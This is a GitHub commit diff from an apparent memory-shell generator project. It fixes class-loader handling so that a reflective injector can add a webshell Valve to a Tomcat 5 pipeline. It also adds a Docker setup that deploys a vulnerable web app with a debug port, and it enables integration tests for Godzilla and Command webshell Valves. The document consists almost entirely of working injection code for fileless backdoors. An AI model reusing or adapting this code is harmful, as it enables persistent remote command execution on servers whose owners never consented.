Skip to content

Commit e28ddf9

Browse files
committed
fix: tomcat5 valve not work
1 parent 12519d4 commit e28ddf9

File tree

3 files changed

+32
-17
lines changed

3 files changed

+32
-17
lines changed

generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatValveInjector.java

Lines changed: 18 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -97,10 +97,7 @@ else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader
9797
@SuppressWarnings("all")
9898
private Object getValve(Object context) {
9999
Object valve = null;
100-
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
101-
if (classLoader == null) {
102-
classLoader = context.getClass().getClassLoader();
103-
}
100+
ClassLoader classLoader = context.getClass().getClassLoader();
104101
try {
105102
valve = classLoader.loadClass(getClassName()).newInstance();
106103
} catch (Exception e) {
@@ -163,16 +160,11 @@ public void injectValve(Object context, Object valve) throws Exception {
163160
return;
164161
}
165162
try {
166-
Class ValveClass;
167-
try {
168-
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
169-
} catch (Exception e) {
170-
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
171-
}
163+
Class valveClass;
164+
String valveClassName = "org.apache.catalina.Valve";
165+
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
172166
Object obj = invokeMethod(context, "getPipeline");
173-
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
174-
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
175-
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
167+
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
176168
} catch (Exception e) {
177169
e.printStackTrace();
178170
}
@@ -246,4 +238,17 @@ public static synchronized Object invokeMethod(final Object obj, final String me
246238
}
247239
}
248240
}
241+
242+
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
243+
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
244+
ClassLoader catalinaLoader = null;
245+
for (Thread thread : threads) {
246+
// 适配 v5 的 Class Loader 问题
247+
if (thread.getName().contains("ContainerBackgroundProcessor")) {
248+
catalinaLoader = thread.getContextClassLoader();
249+
break;
250+
}
251+
}
252+
return catalinaLoader;
253+
}
249254
}
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
services:
2+
tomcat66:
3+
image: reajason/tomcat:5-jdk6
4+
ports:
5+
- "8080:8080"
6+
- "5005:5005"
7+
environment:
8+
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
9+
volumes:
10+
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44
import com.reajason.javaweb.config.Server;
55
import com.reajason.javaweb.config.ShellTool;
66
import com.reajason.javaweb.memsell.packer.Packer;
7+
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
78
import lombok.extern.slf4j.Slf4j;
89
import net.bytebuddy.jar.asm.Opcodes;
9-
import org.junit.jupiter.api.AfterAll;
1010
import org.junit.jupiter.params.ParameterizedTest;
1111
import org.junit.jupiter.params.provider.Arguments;
1212
import org.junit.jupiter.params.provider.MethodSource;
@@ -36,9 +36,9 @@ static Stream<Arguments> casesProvider() {
3636
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
3737
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
3838
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
39-
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
40-
// arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,Caused by: java.lang.NoClassDefFoundError: org/apache/catalina/Valve
41-
// arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
39+
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
40+
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
41+
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
4242
);
4343
}
4444

0 commit comments

Comments
 (0)